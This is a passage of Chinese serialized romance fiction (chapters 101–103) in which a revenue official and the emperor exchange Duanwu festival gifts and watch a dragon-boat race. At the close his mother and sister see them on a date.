林砚就着萧彻的手喝了一口,叹了口气:“那我以后岂不是动不动就身体不适。” 萧彻挑眉:“含章若有力气,也可以让我身体不适。” 林砚:“……”滚呐。 他愤愤地抢过杯子,自己捧着喝。 萧彻看着他气鼓鼓的侧脸,只觉得怎么看怎么可爱。 他伸手,这次成功地摸到了林砚的头发,轻轻揉了揉:“放心,无人敢妄加揣测。” 就算揣测,也只会揣测到“陛下恩重,林侍郎操劳”这个方向上,至于具体是怎么“操劳”的,谁敢多问? 林砚哼了一声,算是接受了这个说法。 他重新趴回榻上,阿蛮立刻凑过来,用脑袋蹭他的手。 萧彻也脱了靴子,上了榻,靠在林砚身边,随手拿起一本林砚之前放在这里的闲书翻看。 阳光暖融融地照着,榻上是心爱之人与乖巧的宠物,岁月静好,莫过于此。 萧彻看着书,偶尔抬眼看看身边逗弄猫咪的林砚,只觉得内心被一种前所未有的安宁和满足填满。 他身边只有一人,却比父皇后宫佳丽三千要热闹—— 作者有话说:[垂耳兔头][垂耳兔头][垂耳兔头]《 》 100-110 第101章 第 101 章 想什么嫁不嫁的,他可…… 林砚站在自家库房门口, 看着仆役们还在源源不断地往里搬箱子,感觉自己眼皮有点跳。 五月初的阳光已经带上了点热意,照在那些沉甸甸的箱笼上, 反着光, 晃得他有点晕。 他知道萧彻清理宗室抄了不少家,也知道国库现在充盈, 但他真没想到,充盈到这个地步。 端午节给官员发的福利, 丰厚得简直不像话。 他作为户部侍郎,最初看到预算草案时,还以为自己熬夜对账眼花了,反复核对了三遍,才确定那数字是真的。 林砚还特意去找萧彻问了问, 萧彻当时正批着折子,抬起头,笑盈盈地说了一句:“抄了很多宗室有钱,给大家多发点,高兴高兴。” 林砚当时在心里琢磨,这大概就是劫富济贫的另外一种表现形式吧。 萧彻这个皇帝, 比起先皇对臣子们本就大方, 今年更是大方得离谱。 林砚拿着最终发放清单算了算,往年只给中央三品及以上官员和地方刺史的端午衣, 今年扩大到了中央五品及以上,用的都是最轻薄的夏布裁制,夏天穿起来清风拂面。 大渝又将端午节称为“扇节”,皇帝会赏赐制作精美的扇子,尤其是绘有《尚书》中“解愠阜财”故事的“辟暑扇”或“龙扇”, 寓意“扇清风、解愠暑”,希望官员们能像舜帝一样,为政清明,给百姓带来清凉和平安。 这是大渝官员都有的福利,哪怕是最小的官,只是扇子的品级不同。 节物就更不用提了,粽子堆得像小山,时令水果比如樱桃,红艳艳水灵灵地装在精致的提盒里,还有驱邪避瘟的药草、精美繁复的绶带、闪着柔和光芒的金银器、照人清晰无比的铜镜…… 林砚一家人,除了妹妹林墨,都有品级在身。 林承稷是将作大匠,林砚自己是户部侍郎,连母亲文韫都因着萧彻的特旨有了仁寿郡君的封号,所以林家的端午赏赐,多得叫人眼红。 萧彻份例之外单独给林砚的,那是装了一箱又一箱。 光是扇子,品级内的罗帛画扇精美绝伦,品级外的还有王字扇、百索扇,林砚怀疑萧彻是不是把内府库里的扇子搬了一半到林家。 萧彻甚至还考虑到了文韫和林墨作为女子,端午节要簪花的习俗,特意派人送来了上好的蜀葵、茉莉和白兰,香气清雅,花瓣娇嫩。 其他的赏赐更是多得数都数不过来。常规的雄黄酒、粽子、粉团,也都是宫里御膳房出来的顶尖货色。 林砚手里拿着一把沉甸甸的金丝楠木柄罗帛画扇,看着父亲林承稷正指挥小厮往门上贴钟馗像,那钟馗像也是宫里赏下来的,画工精湛,钟馗瞪眼持剑,煞是威风。 看着这满院子的“皇恩浩荡”,再想想自己和萧彻的关系,一个荒谬又贴切的念头不受控制地冒了出来,在林砚心里盘旋不去。 他这算不算是嫁入了豪门? 这念头刚闪过,林砚自己就先囧了一下,他赶紧晃晃脑袋,试图把这不着调的想法甩出去。 想什么嫁不嫁的,他可没有恨嫁。 但这泼天的富贵,这细致入微的关怀,实在很难不让他产生这种诡异的联想。 “砚儿,傻站着做什么?”林承稷贴好了钟馗像,回头看见儿子对着满院子赏赐发呆,出声唤道,“快来帮忙归置一下,库房都快堆不下了,陛下这恩赏也太过厚重了些。” 连林承稷这种在官场混了半辈子的人都觉得今年这赏赐有点夸张。 他儿子受陛下宠信众人皆知,可,皇帝到底是有多宠信啊? 林砚“哦”了一声,走过去帮忙清点。 他拿起一串用五色丝线编织,下端缀着金银饰物的“百索”,这是端午节小孩佩带以辟邪的,萧彻连这个都送来了不少,大概是考虑到了可以拿去送给亲友家的小孩子。 管家已经带着人将库房里的东西大致清点过,他将册子拿给林承稷瞧,给林承稷看得一愣一愣的。 “陛下实在是恩重。”林承稷摸了摸胡子,感叹起来。 “陛下厚待臣下,是好事。”林砚一边将百索整理好,一边说道,“说明国库充裕,陛下心里装着大家。” “理是这么个理,只是……罢了,雷霆雨露俱是君恩,好生收着便是,你如今在户部,得陛下信重,要谨言慎行,莫辜负了圣心。”林承稷忍不住又一次啰嗦起来。 “儿子明白。”林砚乖巧应下,心里却在想,他辜负谁也不可能辜负萧彻,那可是他男朋友。 这时,文韫和林墨也笑着从内院走了出来。 文韫头上已经簪了一朵新鲜的茉莉,衬得她愈发温婉,林墨则拿着两把小巧精致的团扇,一把绣着缠枝莲,一把绣着瓜瓞绵绵,爱不释手。 “娘,您看这扇子,真好看。”林墨将扇子递给文韫看,“还有这些花,真香,陛下想得真周到。” 文韫接过扇子看了看,眼中也是掩不住的欢喜,但更多的是作为主母的考量:“是啊,陛下恩典,墨儿,挑些不易存放的水果和点心,给相熟的几家府上送去,也让他们沾沾喜气,剩下的,咱们自家也吃用不完,给下人们也分一分,让大家伙儿都过个好节。” “哎,我这就去。”林墨高兴地应了,带着丫鬟去分拣物品。 文韫又看向林砚和林承稷:“你们爷俩也是,同衙门的、关系好的同僚,该走动也要走动,别让人觉得我们林家得了赏赐就轻狂起来。” 林承稷和林砚自然点头称是。 一家人正忙碌着,门房又来报,宫里的李莲顺公公送来了几筐新摘的莲藕和菱角,说是陛下特地让送来给林府清清口。 林砚看着那水灵灵的莲藕和菱角,心里那点“嫁入豪门”的感觉又冒了出来,还夹杂着一种被“投喂”的微妙感。 他忍不住在心里开始盘点:房子是御赐的宅子,车子虽然是他自己家的,但萧彻把马车里的布置全部换了一遍,可比寻常马车舒服,票子便是数不清的赏赐,现在连生鲜蔬果都直接配送上门了…… 至于不在林府,在宫里,亦或是丹园,还堆了一大堆林砚要吃的穿的用的,林砚现在都不算他们一家人的俸禄了,反正很有钱。 林砚指挥着仆役将莲藕菱角搬去厨房,心想让厨房做个糖醋莲藕,再煮个菱角汤,倒是应景。 忙碌了一上午,总算将所有的赏赐归置妥当。 林家库房被塞得满满当当,连下人们都个个脸上带笑,因为他们也分到了宫里的好东西,足够他们回去在家人邻居面前长脸了。 午饭时餐桌果然添了糖醋莲藕和菱角汤。 一家人围坐吃饭,话题自然离不开今日丰厚的赏赐。 林墨叽叽喳喳地说着哪家夫人收到她送去的樱桃时有多惊喜,哪家小姐羡慕她得的团扇。 文韫笑着听,偶尔补充几句。 林承稷则和林砚聊着朝中之事,感慨陛下清理宗室后,国库确实宽裕了许多,连带着官员待遇都水涨船高。 除了萧彻额外给林家的外,别家官员也收到了比往年要丰盛的赏赐,个个都打心底里称赞萧彻这个皇帝。 林砚夹起一块糖醋莲藕,咬得咔嚓作响,清甜爽口。 午饭在一片和乐融融的氛围中结束。 林墨兴致勃勃地计划着下午要和小姐妹们交换哪些节礼,文韫则开始安排仆役将分好的节礼送往各家,林承稷难得清闲,打算去小憩片刻。 林砚心里惦记着和萧彻的约定,陪着家人又说了会儿话,便起身道:“爹,娘,我下午约了同僚踏青,可能晚些回来。” 文韫不疑有他,只当是儿子同衙门的应酬,细心叮嘱道:“去吧,今日过节,外面热闹,注意安全,早些回来。” 林承稷也点点头:“嗯,既是同僚相约,莫要失了礼数。” 林砚应下,转身回了自己院子。 他哪里是约了什么同僚,他是等着他的“豪门”男朋友来接他出去约会。 回到房间,林砚从柜子深处取出一个精心包裹的锦盒。 里面是他准备了许久的端午节礼物——一枚他亲自设计图样,找京城最好的玉匠雕琢的羊脂白玉佩。 玉佩呈椭圆形,正面浮雕着漂亮的纹样,线条流畅,背面则用极细的刀工刻了两个字:昭临。 萧彻的字。 《礼记·玉藻》中说:古之君子必佩玉……君子无故,玉不去身,君子于玉比德焉。 林砚觉得萧彻就是最君子的人,萧彻不佩玉谁佩玉? 而且为了设计好玉佩,他还学画画学了好长一段时日,以前光顾着读书好科考,也没有学过什么弹琴啊画画的,前世更是只上过补课班,这画画也是头一次。 将锦盒小心揣进怀里,林砚便开始有些坐立不安。 一会儿对着铜镜整理一下衣冠,一会儿又走到窗边张望,活像个待嫁的姑娘等着心上人来迎亲。 呸呸呸,什么待嫁姑娘,他不恨嫁的! 林砚赶紧打断自己的联想,他只是……有点期待约会而已。 没让他等太久,约莫申时初,金九那张万年不变的面瘫脸就出现在了林砚的院门外。 “大人,车马已备好。”金九言简意赅。 林砚心头一跳,强作镇定地点头:“知道了。” 他跟着金九从侧门出了林府,门外停着一辆看起来十分普通的青幔小车,驾车的是个面容普通但气息内敛的汉子,应当是金影卫的人。 李德福居然没有跟来,也不知道被萧彻支使去干什么了。 林砚钻进马车,车内空间不大,但布置得舒适,角落里甚至还固定着一个冰鉴,散发着丝丝凉意,驱散了午后的闷热。 萧彻并不在车里,是想给他惊喜吗? 马车缓缓启动,穿过熙攘的街道。 林砚撩开车帘一角,看着外面人来人往,小贩叫卖着艾草、菖蒲和各式各样的香囊,孩子们手腕上系着五色丝线,跑来跑去,充满了节日的烟火气。 约莫行了一炷香的功夫,马车在一处僻静的河岸边停下,这里远离市集,绿柳成荫,河水潺潺,显得格外清幽。 “大人,到了。”金九在外低声道。 林砚下了车,一眼就看见柳树下那个负手而立的身影。 萧彻今日未着龙袍,只穿了一身质料极佳的石榴色常服,甚是扎眼,正望着波光粼粼的河面。 听到脚步声,萧彻回过头,目光落在林砚身上,唇角自然扬起一抹笑意,朝他伸出手:“来了。” 阳光透过柳叶的缝隙,在他俊美的侧脸上投下斑驳的光影,那双眼眸里清晰地映着林砚的身影,温柔得不像话。 林砚的心跳不由自主地漏了一拍,快走几步,很自然地将自己的手放进他温热的掌心:“等很久了?” “刚到。”萧彻握紧他的手,牵着他沿着河岸缓步而行。 金九和驾车的金影卫早已默契地隐没在远处,将这片宁静的天地留给他们二人。 河水清澈,偶尔有鱼儿跃出水面,荡开一圈圈涟漪。 微风拂过,带来青草和河水的湿润气息,也吹动了林砚的衣袂和萧彻的袖摆。 两人都没怎么说话,只是静静地牵着手走着,享受这难得的静谧时光,偶尔目光相触,便相视一笑,一切尽在不言中。 走了一段,寻了处平整的草地坐下,树荫遮去了大部分阳光,只余下细碎的光斑跳跃。 林砚从怀里掏出那个锦盒,递到萧彻面前:“给你的,端午节礼。” 萧彻接过锦盒打开,看到那枚温润的白玉佩时,眸光微微一动。 他拿起玉佩,指尖摩挲着背面那两个细小的刻字“昭临”。 他解下自己腰间原本佩戴的一枚九龙玉佩,将那枚羊脂白玉佩仔细地系了上去,调整好位置,让那简单的云纹和“昭临”二字贴着自己。 “我明白含章的心意,往后,我便日日戴着它。”萧彻看着林砚,语气郑重。 林砚看着他毫不犹豫地换下那象征帝王身份的九龙佩,戴上自己送的这枚玉佩嘴角扬起抑制不住的笑意,小声嘟囔:“你喜欢就好。” “我也有礼物给你。”萧彻从怀中取出了两样东西——一个针脚细密、绣着简约兰草纹样的深蓝色香囊,还有一条用青、红、白、黑、黄五色丝线精心编织而成的手绳。 “这是……”林砚微微睁大了眼睛。 萧彻没有立刻回答,而是先执起林砚的左手,将那条五色丝手绳仔细地系在林砚的手腕上。 他的动作很轻柔,指尖偶尔划过林砚的皮肤,带起一阵微痒。 系好后,他修长的手指并未立刻离开,而是在那色彩鲜艳的手绳上轻轻摩挲了一下,抬眼看向林砚,缓声吟道:“良辰当五日,偕老祝千年。” 萧彻字字清晰地落入林砚耳中,是誓言,带着千钧的重量。 偕老……千年……林砚的心像是被这直白而古老的祝愿猛地撞了一下,脸颊瞬间染上薄红,手腕上那五色丝仿佛也带上了灼人的温度。 不等林砚从这冲击中回过神来,萧彻又拿起了那个深蓝色的香囊,微微倾身,将香囊小心地系在林砚腰间的绦带上,位置恰好在他随手可触的肘后。 系香囊时,他的气息拂过林砚的耳畔,带来一阵微麻。 系妥之后,萧彻的手指轻轻拂过香囊上那几茎看似随意却风骨自存的兰草绣纹,目光落在林砚微微泛红的脸上,唇角勾起一抹极浅却动人的弧度,低声又道:“何以至叩叩?香囊系肘后。” 这句诗比起前一句,更多了几分缠绵的情致。 叩叩,是真诚恳切的意思。 何以表达我内心的真挚情意?唯有将这亲手所做的香囊,系于你的肘后,让它常伴你身,香气萦绕。 林砚只觉得一股热流从心底直冲头顶,耳朵尖都红透了。 他下意识地摸了摸肘后那个带着萧彻体温和指尖温度的香囊,又低头看了看手腕上象征长寿、辟邪的五色丝。 萧彻跟他说情话,这真的是、真的是…… 真的是太让他喜欢了啊! “萧昭临,你的心意,我也明白。”林砚扑向萧彻,被萧彻接住。 林砚顺势靠在他肩上,鼻尖萦绕着熟悉的沉水香气,混合着青草与河水的清新,让他感到无比安心。 “今日不办宫宴,倒是便宜了我们。”萧彻把玩着林砚的手指,慢悠悠地说。 “是啊,偷得浮生半日闲。”林砚惬意地眯起眼,“今日想做些什么?” “寻常百姓如何过节,我们便如何过。”萧彻道,“听说城南有赛龙舟,含章可否陪我去看?” 林砚仰起头,也不管会不会有人瞧见,便在萧彻的嘴唇上亲了一下:“好呀。” 两人便起身,依旧牵着手,像一对最普通的有情人,沿着河岸向南边热闹处走去。 阳光正好,微风不燥,柳枝轻摇,河水潺潺。 林砚看着身边之人的侧脸,感受着掌心传来的温度,再看看他腰间那枚随着步伐轻轻晃动的玉佩,而自己手腕上的五色丝和肘后的香囊存在感也强得惊人。 阳光透过交错的柳叶,筛下细碎的金斑,落在他们相握的手上,落在萧彻腰间那枚温润的白玉佩上,也落在林砚腕间色彩明丽的五色丝和肘后暗香浮动的兰草香囊上。 河风轻柔,柳浪闻莺,此情此景,足以熨帖往后无数个平淡或喧嚣的晨昏。 腕间丝、肘后香,并着身侧人,便是此刻天地间最圆满的风光—— 作者有话说:端午赏赐端午衣扇子之类的参考唐代 良辰当五日,偕老祝千年。——权德舆《端午日礼部宿斋有衣服彩结之贶以诗还答》 何以至叩叩?香囊系肘后。 ——繁钦《定情诗》 第102章 第 102 章 “希望我的含章,吉利…… 到了城南举办龙舟竞渡的现场, 林砚被眼前的人山人海震得后退了半步,攥紧了萧彻的衣袖。 河岸两旁黑压压全是攒动的人头,喧闹声浪几乎要掀翻天际, 别说找地方看龙舟, 他们连往前挪动几步都困难。 本来不社恐也要社恐了。 “这阵仗好夸张。”林砚小声嘀咕,踮着脚试图寻找能去前排观看的缝隙, “完了,别说最佳观赛位, 我们怕是要在人群里听个响了。” 萧彻倒是一派气定神闲,反手握住他微凉的手指,轻轻捏了捏:“急什么。” 话音刚落,就见人群如摩西分海般让开一条通道,李德福那张笑成菊花的老脸出现在视野里, 身后还跟着两个低眉顺眼的,多半也是宫里带出来的人。 “陛下,林大人。”李德福躬身行礼,“位置都安排妥当了,这边请。” 林砚恍然大悟,难怪这老狐狸没跟着萧彻, 原来是被派来搞特等席了。 他忍不住斜睨身侧的皇帝陛下, 压低声音:“陛下这是早有预谋啊?” 萧彻唇角微扬,牵着他跟上李德福:“总不能让含章挤在人群里受累。” 李德福引着他们穿过人潮, 竟是直接上了一艘停在僻静处的精美画舫。 画舫位置极佳,正对河道最宽阔的赛段,视野开阔,却又用纱帘巧妙隔开外界视线,既保证了观赛体验, 又兼顾了隐私。 舫内冰鉴散发着丝丝凉意,矮几上摆着冰镇瓜果和精致茶点,软榻凭几一应俱全,舒适得林砚得给这个VIP包厢多加几个V才能体现它的价值。 林砚一屁股坐在软榻上,抓起一块冰镇西瓜咬了一口,满足地眯起眼。 萧彻在他身旁坐下,顺手替他拂去唇角一点汁水,眼底漾着纵容的笑意。 今日这场龙舟竞渡是官方举办,规模盛大。 岸边市集喧嚣,乐舞纷呈,端的是万民同乐的盛世气象。 大渝对民间娱乐管束宽松,百姓们能从事的娱乐活动五花八门,这龙舟竞渡便是其中一项全民热衷的盛事。 林砚记得小时候随父亲在地方上任时,也曾近距离看过龙舟赛,热闹是热闹,但比起京城这天子脚下的排场,还是小巫见大巫了。 “呜——” 低沉的牛角号声骤然响起,浑厚悠长,瞬间压过了所有嘈杂。 原本喧闹的人群如同被按下静音键,迅速肃静下来,所有人的目光都投向河岸中央那座临时搭建的祭台。 祭典即将开始。 一名身着紫袍的道士缓步登台,宽袍大袖,仙风道骨。 林砚眯眼看了看,觉得有点眼熟,略一回想便记起,这不就是那个法号“渊静”的道士么? 当初他还在礼部祠祭司当差时,曾经手过这道士上报的材料,例行公事地给盖过章,没想到今日主持这祭祀大典的是他。 “这位渊静道长还挺有排面。”林砚凑近萧彻,小声分享八卦,“他当初递上来的文书,引经据典,写得那叫一个天花乱坠,我还以为是哪个关系户来镀金的,原来是真有两把刷子。” 萧彻闻言,眼底掠过一丝了然,顺手将剥好的荔枝递到他嘴边,低声道:“他师承太上山,于水法祭祀一道确有些造诣,先皇在时便颇受看重。” 林砚“哦”了一声,张嘴接了荔枝,清甜汁水在口中爆开,注意力很快又被接下来的仪式吸引过去。 只见渊静道长立于祭台中央,手持法器,脚踏罡步,口中念念有词,神情肃穆庄重,是在请神。 这套流程林砚在地方上也见过雏形,但远没有眼前这般完整规范,看得津津有味。 接下来是献三珍。 三名水童捧着玉盘上前,盘中分别盛着活鲤、洁藕和新糯,象征生机、通达与丰收。 水童们小心翼翼地将三珍倾入河中,任其随波逐流,意为“敬献于神”。 “这鲤鱼看着挺肥,”林砚用手肘碰碰萧彻,职业病有点发作,“陛下你说,它被这么一献祭,算是因公殉职还是提前退休?” 萧彻被他这清奇的角度噎了一下,无奈地看他一眼。 他家含章的清奇想法都是怎么冒出来的? 献三珍后,是咏祭舞。 三十六名身着蓑衣、手持船桨的渔家青年跃上祭台周边空场,随着古朴雄浑的乐曲,跳起了充满力量的破浪舞。 他们的动作刚劲有力,融合了撒网、划船、搏浪等元素,展现着人与水相依相争的壮阔图景,充满了原始的野性与生命力,跟宫廷宴会上的舞蹈很是不同。 林砚看得目不转睛,忍不住点评:“这舞蹈编排可以啊,力量感和美感都有。” 萧彻时不时的解答林砚关于舞蹈动作寓意的问题,手上投喂的动作就没停过,一会儿递块水果,一会儿送去点心,照顾得那叫一个无微不至。 祭祀的高潮部分是点睛仪式。 各龙舟队的首领,神情庄重地将自家龙舟的龙头请至坛前。 主祭渊静道长手持朱笔,饱蘸浓墨,为每一个龙头点上眼睛,口中朗声念诵祝福咒语:“一点灵光通沧海,万里波涛任遨游!” 随着他话音落下,仿佛真有一股无形的力量被注入那些木质龙头之中,让它们瞬间变得灵动鲜活,仿佛下一刻就要昂首长吟,破水而出。 这仪式象征着将水神的神力分予每一艘龙舟,使其从凡木化为拥有灵性的竞赛之物。 点睛完毕,渊静道长将一碗雄黄酒倒入河中,敬献水神。 随后,所有参赛桨手与观礼民众共同举杯,饮下雄黄酒。 饮毕,众人将剩余的酒液尽情地泼洒向身边的人,高声欢呼,祝福与嬉闹声汇成一片。 等到这一系列繁复而庄严的仪式全部结束,参与竞渡的选手们才纷纷登上自己的龙舟,在起点处蓄势待发。 河面上,各式龙舟排列整齐,舟身彩绘绚丽,龙头高昂,桨手们肌肉贲张,眼神锐利,紧紧盯着前方的河道。 林砚不由得坐直了身体,全神贯注地望向河道,连呼吸都放轻了些。 就在这时,他感觉萧彻轻轻碰了碰他的手。 林砚疑惑地转头,只见萧彻不知何时,将一枚用五色丝线系着的、小巧玲珑的艾草香囊放在了他掌心。 那香囊针脚细密,绣着简单的祥云纹,散发着清冽的草药香气。 “辟邪驱瘴。”萧彻的声音低沉而温和。 林砚愣了一下,看着掌心这突如其来的小礼物,心里像是被什么东西轻轻撞了一下,有点甜,又有点软。 他攥紧了香囊,指尖能感受到艾草干燥的触感,耳根悄悄爬上一抹热意,嘴上却还要强装镇定:“陛下还信这个?” 萧彻看着他微红的耳廓,唇角弯起一个微小的弧度:“希望我的含章,吉利顺遂。” 画舫外,准备出发的龙舟上,鼓手已经扬起了鼓槌,桨手们肌肉紧绷,眼神锐利如鹰。 画舫内,林砚摩挲着掌心的香囊,感受着身旁人传来的安稳气息,觉得这龙舟赛还没开始,他心里某种情绪,却已经像那即将离弦的箭舟,鼓满了风,涨满了帆。 就在这时,一声震耳欲聋的炮响划破长空! “轰!” 数十艘龙舟如同离弦之箭,瞬间冲破平静的水面! 桨手们喊着整齐划一的号子,肌肉虬结的手臂奋力划动船桨,激起雪白的浪花。 鼓手站在舟首,抡圆了臂膀,将战鼓擂得震天响,每一次鼓点都精准地落在桨手们发力的瞬间。 “加油!快!超过他们!”林砚瞬间代入,扒着画舫的栏杆,恨不得亲自上去划两下,“左边那条红的!发力啊!节奏稳住!哎呦右边那条要超了!鼓点跟上跟上!” 林砚看得全情投入,一会儿为领先的欢呼,一会儿为落后的扼腕,简直是最好的啦啦队。 萧彻的目光却大多落在林砚身上。看他因兴奋而发亮的眼睛,看他随着赛事进展而不断变化的神情,看他额角因激动渗出的细密汗珠。 皇帝陛下只觉得,比底下那激烈角逐的龙舟赛有趣多了。 他时不时递过一杯果浆,或是拿起扇子,轻轻扇风。 “哎呀可惜!”眼见着自己看好的一条龙舟在最后关头被反超,林砚懊恼地一拍大腿,随即又指着另一条异军突起的黑马,“这条藏得够深,战术执行到位,前期保存体力,后期爆发,划龙舟还用上了战术。” 萧彻顺着他的手指看去:“是京畿卫的龙舟,他们平日操练,最重令行禁止,配合默契。” “原来如此。”林砚恍然,随即又兴致勃勃地猜测起最终冠军归属。 最终,在一阵几乎要掀翻河岸的欢呼声中,那艘代表着京畿卫的黑色龙舟以微弱优势率先冲过终点。 “赢了!我就说这条有潜力!”林砚高兴地转身,下意识想和身边的人击掌庆祝。 萧彻看着他伸到面前的手,微微一怔,随即从善如流地抬起手,与他轻轻击了一下。 掌心相触,发出清脆一声响。 林砚这才反应过来自己做了什么,看着萧彻那带着些许新奇和纵容的眼神,耳根微热,欲盖弥彰地收回手,清了清嗓子:“咳咳,庆祝一下,庆祝一下。” 画舫外,是胜利者的狂喜与观众的欢呼,声浪震天。 画舫内,却因这一个不经意的小动作,漾开一片静谧而甜腻的涟漪。 萧彻凝视着林砚微红的侧脸,伸手过去,将他那只刚刚与自己击掌的手,轻轻握入掌心。 “嗯,庆祝含章,眼光独到。”—— 作者有话说:写到荔枝,不得不说我来到广西吃到了好便宜的荔枝,什么十块钱三斤,五块钱一斤,给我吃爽了[猫头] 第103章 第 103 章 听人间喧嚷,看灯火如…… 龙舟竞渡的喧嚣声浪逐渐远去, 河面被落日余晖染成温暖的橘红色。 获得名次的龙舟依照顺序,在河道中缓缓巡游,向两岸尚未散去的民众展示其英姿。 桨手们虽已疲惫, 却仍挺直腰背, 脸上带着自豪的笑容,接受着人们的欢呼与注目。 这不仅是荣耀的展示, 亦是对庇佑河流的水神致以最高敬意。 岸上比之前更为热闹。 许多人家并未随着赛事结束而离去,反而寻了更好的位置, 等着巡游开始。 这其中,便有许多怀春的少女与关心子弟婚事的家人。 龙舟上的皆是青壮儿郎,其中不乏未婚者,身形挺拔,气宇轩昂, 便有那胆大的姑娘,将手中精心准备的香囊、荷包,朝着心仪的龙舟或儿郎掷去,引来一阵善意的哄笑和叫好。 若那郎君恰好接住,或回以一个笑容,便能激起更大的声浪, 说不准一桩良缘便由此萌芽。 各龙舟背后支持的亲友团亦是不遗余力。 待他们支持的龙舟经过时, 便将早已备好的花瓣、彩纸纷纷扬扬撒向河面与舟身,口中高呼着祝福与鼓励的话语。 林砚心想, 原来给明星应援是历史传统。 林砚趴在画舫栏杆上,看得津津有味。“陛下你看,那边那个穿蓝衣服的桨手,接到姑娘的香囊了,哎呦, 脸红了脸红了!”他扯着萧彻的袖子,兴奋地指指点点。 萧彻顺着他指的方向看去,眼底带着笑意:“含章观察倒是仔细。” 他顿了顿,语气寻常地接道:“看来是颇感兴趣,可惜我在这里,无人敢向含章掷香囊。” 林砚闻言回头,撞进萧彻带着戏谑的眼眸中:“我可不稀罕除了萧昭临以外的人给的香囊。” 说着,林砚捻起一颗葡萄剥了皮递到萧彻嘴边,趁萧彻张嘴咬葡萄之时,自己凑上去在萧彻的唇上吻了一下:“甜不甜?” 萧彻喉结微动:“甜。” 只是那目光幽深,说的也不知是葡萄还是人。 巡游过后,水面并未沉寂,反而迎来了另一番热闹景象——水上百戏开场了。 水面成了民间艺人们巨大的舞台。 先是水上傀儡戏登场,工匠以机关巧术制成人偶,在特制的浮台上演绎水神降福、保佑丰收的故事,引得岸上观众,尤其是孩童们阵阵惊呼。 接着是凫水好手的杂耍表演。 他们或立于漂浮的木桩上做出各种惊险动作,或数人叠成罗汉,甚至还有人扮演水怪河神,在水中追逐嬉戏,做出种种滑稽模样,逗得人们哈哈大笑。 压轴大戏则是抢鸭子大赛。 组织者将数十只活鸭抛入河中,善泳者纷纷从岸边、从小舟上跃入水中,争抢那些惊慌失措的鸭子。 鸭子扑棱着翅膀四处乱窜,泳者们各显神通,围追堵截,场面混乱又热闹非凡。 按照习俗,抢到的鸭子便归自己所有,寓意着捕捉到好运,每当有人成功擒获一只,便会引起一片喝彩。 林砚看得目不转睛,此情此景,他想到了两个字——鲜活。 非权非贵,这大渝的芸芸众生,也可以如此生动地活着。 萧彻在一旁,看林砚比自己亲自下水抢还激动,忍不住摇头失笑,只觉得这寻常的人间烟火,因身边这人,变得格外生动有趣。 直到天色渐暗,夕阳最后一抹余晖沉入西山,两岸的人们才意犹未尽地开始慢慢散去,准备去街市上寻些吃食,继续享受这节日的夜晚。 画舫内早已点亮了灯烛,李德福指挥着宫人悄无声息地摆上了晚膳。 菜品皆是应景的端午佳肴:小巧精致的各色粽子,有甜有咸,刚出水的鲜鱼烹制的羹汤,奶白的汤汁散发着诱人的香气,新酿的米酒醇厚甘甜,还有嫩黄的盐鸭蛋、翠绿的艾草糕等。 林砚在看龙舟和百戏时,不知不觉被萧彻投喂了许多零食水果,此刻倒不怎么觉得饿。 他只拣了一个腊肉粽子,剥开咬了一口,糯米软糯,腊肉咸香,味道很是不错。 又尝了几筷子鲜鱼,喝了小半碗汤,便放下了筷子,捧着那杯温热的米酒小口啜饮。 反观萧彻,之前光顾着照顾林砚,自己没怎么吃,此刻倒是老老实实地用起了晚膳,姿态优雅,速度却不慢。 萧彻见林砚吃得少,便停下筷子,看向他:“含章胃口这般小?可是菜肴不合口味?” 林砚摆手:“味道很好,只是下午零嘴吃多了,这会儿还不饿。” 他摸了摸自己的肚子,半真半假地抱怨:“再这么下去,我都要被陛下喂胖了。” 萧彻闻言,竟真的放下筷子,伸出手,隔着衣物在林砚腰间轻轻比划了一下,一本正经道:“朕瞧着,含章并未长胖,腰细得很。” 他指尖传来的温度透过薄薄的夏衣,熨帖在皮肤上,带着一丝若有似无的暧昧:“况且,真需长些肉才好,否则每次……” 话未说尽,但那双含笑的凤眸里意味分明。 林砚先是一愣,待反应过来他话中所指,脸颊“轰”地一下爆红,差点被口中的米酒呛到。 他猛地瞪大眼睛,难以置信地看着萧彻。 这、这光天化日……呃,烛光之下,还是在画舫上,周围的人虽然都低着头,但肯定能听见啊!萧彻他怎么敢! 皇帝陛下的脸皮厚度,果然非常人所能及。 林砚被噎得说不出话,只能狠狠瞪了萧彻一眼,用眼神表达自己的震惊与控诉。 萧彻却像是毫无所觉,甚至还颇为无辜地眨了眨眼,重新拿起筷子,夹了一块艾草糕放到林砚面前的小碟里:“再尝点这个,消食。” 林砚:“……”陛下,这是艾草做的,不是山楂做的。 待到天色彻底黑透,河岸两旁挂起了各式灯笼,蜿蜒如星河,百姓们大多聚在街市之上,这河岸边反倒清净下来。 林砚想着反正黑灯瞎火的,也看不清面容,便大了胆子,拉着萧彻下了画舫:“陛下,我们随便走走,消消食?” 萧彻自然无有不从,挥退了想跟上来的李德福等人,只让远远跟着护卫,便与林砚并肩融入了夜色之中。 河风带着水汽,吹散了白日的暑热。 两人沿着河岸缓步而行,听着不远处街市传来的隐约人声,享受着这难得的静谧与自在。 林砚心情颇好,晃着两人交握的手,指着天边初升的星星,说着些没什么意义的闲话。 萧彻侧头看着他被灯笼微光勾勒出的柔和侧脸,心中一片宁静满足。 然而,林砚这“无人识得”的放心显然放得太早。 他万万不会想到,就在一处较为僻静的地方,两道熟悉的身影正驻足望着他们。 林墨今日来看龙舟竞渡,不小心弄丢了小姐妹送的端午节礼,是一支顶顶好看的发簪,便央了母亲陪自己来找。 找到了发簪后便想从河边抄近路回府,没想到竟撞见了自家兄长——以及,那个牵着兄长手,气度不凡的男人。 因离得有些远,光线又暗,林墨看不清那男人的具体样貌,只觉得身姿挺拔,绝非寻常人等。 而自家兄长与那人姿态亲昵,言笑晏晏。 林墨瞬间呆立当场,手里的发簪“啪嗒”一声掉在了地上。 文韫也看到了,她比林墨看得更清楚些,心中惊涛骇浪骤起。 砚儿下午不是说与同僚去踏青了吗? 这哪里是同僚? 哪个同僚会这般牵手并行? 家里一下子有两个人,都知道了林砚这个端午节,并未如他所说那般与同僚在一处,而是与一个身份不明的男人……约会去了。 文韫心中乱成一团,下意识地拉住了想要上前叫哥哥的林墨,对着女儿摇了摇头,低声道:“莫要声张,先回家。” 她目光复杂地又望了一眼那两道渐行渐远的亲密背影,拉着犹自震惊茫然的林墨,匆匆转身,隐入了另一侧的黑暗中。 河风轻柔,拂过相牵的手。 林砚浑然不知自己与萧彻的亲密模样已落入母亲与妹妹眼中,兀自沉浸在夜色与恋人相伴的惬意里。 他指着不远处愈发璀璨的灯火,声音带着雀跃:“陛下,我们去那边街市上逛逛?” 